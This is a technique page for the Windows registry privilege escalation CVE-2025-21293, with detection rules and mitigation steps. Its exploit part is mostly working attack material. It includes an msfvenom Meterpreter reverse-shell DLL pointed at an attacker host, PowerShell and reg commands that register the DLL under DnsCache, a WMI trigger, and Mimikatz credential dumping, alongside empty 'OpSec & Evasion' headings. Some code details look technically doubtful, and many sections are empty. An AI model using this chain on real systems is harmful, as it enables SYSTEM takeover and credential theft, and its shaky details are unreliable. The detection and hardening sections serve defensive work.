| Attribute | Details |
|---|---|
| Technique ID | EMERGING-PE-002 |
| MITRE ATT&CK v18.1 | T1068 - Exploitation for Privilege Escalation |
| Tactic | Privilege Escalation |
| Platforms | Windows AD (Server 2016-2025) |
| Severity | Critical |
| CVE | CVE-2025-21293 |
| Technique Status | FIXED (January 2025 patch) |
| Last Verified | 2025-01-31 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 (pre-patch) |
| Patched In | January 2025 Patch Tuesday (KB-specific, varies by OS version) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: CVE-2025-21293 is a Local Privilege Escalation (LPE) vulnerability affecting Windows Active Directory Domain Services and domain-joined systems. The vulnerability stems from over-permissive registry rights granted to the built-in Network Configuration Operators group. Members of this group can create subkeys under critical service registry hives (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCache, NetBT, etc.), allowing them to register malicious Dynamic Link Libraries (DLLs) as Performance Counter libraries. When Windows Performance Monitor or WMI queries these counters, the malicious DLLs are loaded and executed with SYSTEM privileges, effectively elevating any member of the Network Configuration Operators group from a low-privilege network configuration role to full system control.
Attack Surface: Windows Registry (specifically HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ registry keys for DNS and NetBIOS services); Performance Counter DLL registration paths; WMI queries (which trigger DLL loading).
Business Impact: Local privilege escalation to SYSTEM, followed by domain compromise. An attacker with membership in Network Configuration Operators can gain SYSTEM access on any domain-joined machine, enabling credential theft (SAM/LSASS dumps), lateral movement, and potential escalation to Domain Admin via Kerberos attacks or credential reuse.
Technical Context: The attack typically takes 5–15 minutes to execute end-to-end (create registry subkey → register malicious DLL → query Performance Monitor → gain SYSTEM shell). Detection relies on monitoring unexpected DLL registration under service registry keys and unusual process execution with SYSTEM privileges. Organizations that have not applied the January 2025 patch remain vulnerable; the vulnerability is particularly dangerous in environments where non-administrative users have Network Configuration Operators group membership.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.9.81.11.1 | Restrict registry permissions on services; audit registry modifications |
| DISA STIG | WN10-CC-000021 | Configure auditing for registry modifications and unauthorized privilege escalation |
| CISA SCuBA | DEFENDER-4.6 | Audit and restrict privileged account groups and permissions |
| NIST 800-53 | AC-3 (Access Enforcement) | Enforce least privilege access to system resources |
| GDPR | Art. 32 | Security of Processing – Prevent unauthorized system access |
| DORA | Art. 9 | Protection and Prevention – Implement controls to prevent privilege escalation |
| NIS2 | Art. 21 | Cyber Risk Management – Access control and privilege restriction |
| ISO 27001 | A.9.1.1 – A.9.2.5 | Access Control – User Access Management and Privilege Escalation Prevention |
| ISO 27005 | Risk Scenario | Local System Compromise Leading to Domain Compromise |
Supported Versions:
Tools:
# Check if current user is member of Network Configuration Operators
$Groups = [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups | ForEach-Object { $_.Translate([System.Security.Principal.NTAccount]).Value }
$Groups | Where-Object { $_ -like "*Network Configuration Operators*" }
# Alternative: Using net command
net user %USERNAME% /domain
What to Look For:
# Check DnsCache service registry key ACLs
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache"
$ACL = Get-Acl $RegPath
$ACL.Access | Where-Object { $_.IdentityReference -like "*Network Configuration Operators*" } | Select-Object IdentityReference, RegistryRights
# Also check NetBT
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT"
$ACL = Get-Acl $RegPath
$ACL.Access | Where-Object { $_.IdentityReference -like "*Network Configuration Operators*" }
What to Look For:
Command (Server 2016-2019):
# Query via WMI (older method)
wmic useraccount get name,groups
Command (Server 2022+):
# Modern method using Get-LocalGroupMember
Get-LocalGroupMember -Group "Network Configuration Operators" | Select-Object Name
# List all services under DnsCache, NetBT, and other performance counter services
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services\" -Recurse | Where-Object {
$_.Name -like "*DnsCache*" -or $_.Name -like "*NetBT*" -or $_.Name -like "*TCPIP*"
} | ForEach-Object {
$ServiceName = $_.PSChildName
$ACL = Get-Acl $_.PSPath
$HasNCO = $ACL.Access | Where-Object { $_.IdentityReference -like "*Network Configuration Operators*" }
if ($HasNCO) {
Write-Host "Vulnerable Service: $ServiceName - Network Configuration Operators has write access"
}
}
What to Look For:
Supported Versions: Windows Server 2016-2025 (pre-patch)
Objective: Prepare a DLL that will be loaded as a Performance Counter library with SYSTEM privileges.
Command (Using msfvenom for quick PoC):
# On attacker machine, generate DLL payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f dll > malicious.dll
Alternative - Minimal DLL (C# code to be compiled):
// MinimalPayload.cs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class DllEntry {
[DllExport]
public static void DllMain(IntPtr hModule, uint ul_reason_for_call, IntPtr lpReserved) {
// Execute payload as SYSTEM
Process.Start(new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c whoami > C:\\Windows\\Temp\\proof.txt",
UseShellExecute = false,
RedirectStandardOutput = true,
CreateNoWindow = true
});
}
}
Compile:
csc.exe /target:library /out:malicious.dll MinimalPayload.cs
Expected Output:
Compilation complete. Output: malicious.dll (C:\Temp\malicious.dll)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Determine the DLL registration path for the target service (DnsCache is most commonly exploited).
Command:
# Locate DnsCache service key
$ServiceKey = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache"
Get-Item $ServiceKey | Select-Object FullName
# Retrieve Performance Counter subkey path (if it exists)
$PerfKey = "$ServiceKey\Performance"
if (Test-Path $PerfKey) {
Get-Item $PerfKey | Select-Object FullName
}
Expected Output:
Name Property
---- --------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCache
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCache\Performance
What This Means:
OpSec & Evasion:
Objective: Abuse Network Configuration Operators’ CreateSubKey permissions to create a subkey where the malicious DLL path will be registered.
Command (PowerShell):
$ServiceKey = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache"
$DLLPath = "C:\Windows\Temp\malicious.dll"
$SubkeyName = "Performance"
# Create the subkey (if not already present)
# Network Configuration Operators can create subkeys under certain services
$RegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
try {
if (-not (Test-Path $RegPath)) {
New-Item -Path $RegPath -Force -ErrorAction Stop | Out-Null
Write-Host "[+] Created Performance subkey"
} else {
Write-Host "[*] Performance subkey already exists"
}
# Create a new value entry pointing to the malicious DLL
# Use a Performance Counter library value name
Set-ItemProperty -Path $RegPath -Name "Library" -Value $DLLPath -Type String
Write-Host "[+] Registered malicious DLL: $DLLPath"
} catch {
Write-Host "[-] Error: $_"
}
Expected Output:
[+] Created Performance subkey
[+] Registered malicious DLL: C:\Windows\Temp\malicious.dll
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Force Windows to load the malicious DLL by querying Performance Counters.
Command (Using WMI):
# Query Performance Counter data for DnsCache
Get-WmiObject -Class Win32_PerfFormattedData_Tcpip_NetworkInterface | Select-Object Name, BytesSentPersec
Alternative (Using perfmon.exe):
# Open Performance Monitor and query DNS performance counters
perfmon.exe /report
Alternative (Using PowerShell WMI direct call):
# Force DLL loading by enumerating performance data
$Perf = Get-WmiObject -Class Win32_PerfRawData_Tcpip_DnsCache -ErrorAction SilentlyContinue
if ($Perf) {
Write-Host "Performance Counter query triggered; DLL should be loaded"
}
Expected Output:
Name BytesSentPersec
---- ---------------
Ethernet 12345678
Wi-Fi 87654321
(DLL is loaded in background with SYSTEM privileges)
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Confirm that the payload executed with SYSTEM privileges.
Command:
# Check if proof file was created (from the DLL payload)
Get-Content C:\Windows\Temp\proof.txt
# Alternative: Establish reverse shell or run post-exploit commands
# (Depends on payload; if Meterpreter, you'll get a shell on the listener)
Expected Output:
nt authority\system
What This Means:
Supported Versions: Windows Server 2016-2025 (pre-patch)
Objective: Quickly create the malicious registry entry using native cmd.exe utilities.
Command:
@echo off
REM Create Performance registry subkey for DnsCache
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance" /v Library /t REG_SZ /d "C:\Windows\Temp\malicious.dll" /f
REM Trigger Performance Counter load
wmic path win32_perfformatteddata_tcpip_networkinterface get name /format:list
Expected Output:
The operation completed successfully.
Name=Ethernet
Name=Wi-Fi
What This Means:
OpSec & Evasion:
Troubleshooting:
Command:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance"
Expected Output:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCache\Performance
Library REG_SZ C:\Windows\Temp\malicious.dll
Supported Versions: Windows Server 2025 with January 2025+ patches
Objective: Verify if the system has been patched and identify remaining exploitability.
Command:
# Check if registry subkey creation is still possible
$TestSubkey = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\TestSubkey"
try {
New-Item -Path $TestSubkey -Force -ErrorAction Stop | Out-Null
Write-Host "[!] System appears to be VULNERABLE - subkey creation succeeded"
Remove-Item -Path $TestSubkey -Force
} catch {
Write-Host "[+] System appears to be PATCHED - subkey creation blocked: $_"
}
Expected Output (Patched):
[+] System appears to be PATCHED - subkey creation blocked: Access is denied
Expected Output (Vulnerable):
[!] System appears to be VULNERABLE - subkey creation succeeded
What This Means:
# Benign test: Create a test Performance Counter entry without malicious payload
$TestRegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance\TestCounter"
New-Item -Path $TestRegPath -Force -ErrorAction Stop
Set-ItemProperty -Path $TestRegPath -Name "Library" -Value "C:\Windows\System32\kernel32.dll" -Type String
Write-Host "Test Performance Counter created"
# Remove test Performance Counter entry
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DnsCache\Performance\TestCounter" -Force -ErrorAction SilentlyContinue
Reference: Atomic Red Team – Privilege Escalation Tests
Version: Various community releases Supported Platforms: Windows Server 2016-2025 (pre-patch)
Notable PoCs:
Installation:
git clone https://github.com/<author>/CVE-2025-21293-exploit.git
cd CVE-2025-21293-exploit
# Compile or execute based on provided instructions
Usage:
# Most PoCs follow this pattern:
.\Exploit.exe --service DnsCache --dll C:\path\to\malicious.dll
Version: 2.2.0+ Supported Platforms: Windows (all versions)
Installation:
git clone https://github.com/gentilkiwi/mimikatz.git
# Compile or use pre-built executable
Usage (Credential Dumping as SYSTEM):
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
Script (One-Liner):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance" /v Library /t REG_SZ /d "C:\path\to\malicious.dll" /f; wmic path win32_perfformatteddata_tcpip_networkinterface get name
Rule Configuration:
SPL Query:
index=wineventlog sourcetype=WinEventLog:Security EventCode=4657
(ObjectName="HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\*" OR
ObjectName="HKLM\SYSTEM\CurrentControlSet\Services\NetBT\*")
OperationType="Set Value"
| stats count, values(SubjectUserName) as User, values(ObjectName) as RegistryKey by ComputerName
| where count > 0
What This Detects:
Manual Configuration Steps:
count > 0False Positive Analysis:
| where SubjectUserName!="SYSTEM" AND SubjectUserName!="LOCAL SERVICE"Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4657 // Registry object modified
| where ObjectName contains @"SYSTEM\CurrentControlSet\Services\DnsCache"
or ObjectName contains @"SYSTEM\CurrentControlSet\Services\NetBT"
| where OperationType == "Set Value"
| project TimeGenerated, Account, ObjectName, NewValue, ComputerName
| join (
SecurityEvent
| where EventID == 4688 // Process created
| where CommandLine contains "wmic" or CommandLine contains "perfmon" or CommandLine contains "Get-WmiObject"
| project TimeGenerated, ProcessName, CommandLine, ComputerName
) on ComputerName
| where TimeGenerated1 < TimeGenerated and TimeGenerated < (TimeGenerated1 + 5m)
What This Detects:
Manual Configuration Steps (Azure Portal):
CVE-2025-21293 – Registry Privilege EscalationCritical5 minutes1 hourEvent ID: 4657 (Registry Object Modified)
HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\ or NetBT\EventID=4657 AND ObjectName like "%DnsCache%" or ObjectName like "%NetBT%"Additional Event IDs:
Manual Configuration Steps (Group Policy):
gpupdate /force on affected systemsManual Configuration Steps (Server 2022+ Local Policy):
Custom Windows Event Viewer Filter (for hunting):
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[(EventID=4657)]] and *[EventData[Data[@Name='ObjectName'] and (contains(Data, 'DnsCache') or contains(Data, 'NetBT'))]]</Select>
</Query>
</QueryList>
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<Sysmon schemaversion="4.22">
<RuleGroup name="CVE-2025-21293 Detection" groupRelation="or">
<!-- Monitor for wmic.exe queries to Performance data -->
<ProcessCreate onmatch="include">
<Image condition="image">wmic.exe</Image>
<CommandLine condition="contains any">
win32_perfformatteddata;
win32_perfrawdata;
Path win32_Perf
</CommandLine>
</ProcessCreate>
<!-- Monitor for PowerShell Get-WmiObject queries -->
<ProcessCreate onmatch="include">
<Image condition="image">powershell.exe</Image>
<CommandLine condition="contains any">
Get-WmiObject.*Perf;
Get-WmiObject.*DnsCache;
Get-WmiObject.*NetBT
</CommandLine>
</ProcessCreate>
<!-- Monitor for registry operations on service keys -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains any">
HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance;
HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Performance;
HKLM\SYSTEM\CurrentControlSet\Services\TCPIP\Performance
</TargetObject>
</RegistryEvent>
<!-- Monitor for unusual CreateRemoteThread (DLL loading) -->
<CreateRemoteThread onmatch="include">
<SourceImage condition="image">wmic.exe</SourceImage>
<TargetImage condition="image">lsass.exe</TargetImage>
</CreateRemoteThread>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-cve-2025-21293.xml with the XML abovesysmon64.exe -accepteula -i sysmon-cve-2025-21293.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 | Format-Table TimeCreated, Message
Alert Name: “Suspicious registry modification enabling privilege escalation (CVE-2025-21293)”
Remove-LocalGroupMember -Group "Network Configuration Operators" -Member "domain\username"
tasklist /svc as SYSTEM to identify any suspicious processesmimikatz.exe "privilege::debug" "lsadump::sam" "exit"
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud Alerts
Applies To Versions: Windows Server 2016-2025 (all versions vulnerable pre-patch)
Manual Steps (PowerShell):
# Identify services with Network Configuration Operators permissions
$Services = @("DnsCache", "NetBT", "TCPIP", "RemoteRegistry")
foreach ($Service in $Services) {
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$Service"
$ACL = Get-Acl $RegPath
$NCORules = $ACL.Access | Where-Object {
$_.IdentityReference -like "*Network Configuration Operators*"
}
foreach ($Rule in $NCORules) {
Write-Host "Removing: $($Rule.IdentityReference) from $Service"
$ACL.RemoveAccessRule($Rule)
}
Set-Acl -Path $RegPath -AclObject $ACL
}
Manual Steps (Registry Editor GUI):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DnsCacheApplies To Versions: All (Windows Server 2016, 2019, 2022, 2025; Windows 10/11)
Manual Steps (Windows Update):
Get-HotFix -Description "Security Update" | Where-Object { $_.InstalledOn -gt (Get-Date).AddDays(-30) } | Select-Object HotFixID, Description, InstalledOn
Manual Steps (Enterprise – WSUS/Windows Update for Business):
gpupdate /force /boot
Applies To Versions: All Windows versions
Manual Steps (Group Policy):
gpupdate /forceApplies To Versions: All
Manual Steps (PowerShell):
# List current members of Network Configuration Operators
Get-LocalGroupMember -Group "Network Configuration Operators" | Select-Object Name
# Remove unnecessary members
Remove-LocalGroupMember -Group "Network Configuration Operators" -Member "domain\username"
Manual Steps (Computer Management GUI):
Applies To Versions: Windows Server 2016+
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Enable LSA Protection
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"
Set-ItemProperty -Path $RegPath -Name "RunAsPPL" -Value 1 -Type DWord
# Requires restart
Restart-Computer -Force
Manual Steps (Azure Portal):
Block Registry Privilege Escalation AttemptsManual Steps:
# Audit high-privilege groups
@("Domain Admins", "Enterprise Admins", "Schema Admins") | ForEach-Object {
$Group = Get-ADGroup -Identity $_
$Members = Get-ADGroupMember -Identity $Group -Recursive
Write-Host "$_`: $($Members.Count) members"
$Members | ForEach-Object { Write-Host " - $($_.Name)" }
}
# Verify that Network Configuration Operators no longer has write/create rights
$Services = @("DnsCache", "NetBT", "TCPIP")
foreach ($Service in $Services) {
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\$Service"
$ACL = Get-Acl $RegPath
$NCORules = $ACL.Access | Where-Object {
$_.IdentityReference -like "*Network Configuration Operators*"
}
if ($NCORules.Count -eq 0) {
Write-Host "[✓] $Service: Network Configuration Operators rights removed"
} else {
Write-Host "[✗] $Service: Still has Network Configuration Operators permissions"
$NCORules | ForEach-Object { Write-Host " - $($_.RegistryRights)" }
}
}
Expected Output (If Secure):
[✓] DnsCache: Network Configuration Operators rights removed
[✓] NetBT: Network Configuration Operators rights removed
[✓] TCPIP: Network Configuration Operators rights removed
What to Look For:
HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance, NetBT\Performance, or other service keysCommand:
# Disable network adapters
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
# OR (older systems)
ipconfig /release
Manual: Disconnect network cable or disable NIC via BIOS/Settings
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
procdump.exe -ma lsass.exe C:\Evidence\lsass.dmp
Copy-Item C:\Windows\Temp\malicious.dll C:\Evidence\
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DnsCache\Performance" /v Library /f
Remove-Item C:\Windows\Temp\malicious.dll -Force
# If Mimikatz available and system already compromised
mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default credentials or [IA-PHISH-001] Phishing | Attacker gains initial foothold as low-privilege user on domain-joined machine |
| 2 | Reconnaissance | [REC-AD-002] LDAP enumeration | Attacker maps network and identifies high-value targets |
| 3 | Privilege Escalation | [EMERGING-PE-002] CVE-2025-21293 Registry Escalation | Attacker leverages Network Configuration Operators group membership to gain SYSTEM |
| 4 | Credential Access | [CA-DUMP-005] SAM database extraction or [CA-DUMP-003] LSA secrets | Attacker dumps local credentials from SYSTEM context |
| 5 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash or [LM-REMOTE-001] SMB lateral movement | Attacker uses harvested credentials to move to Domain Controllers and high-value targets |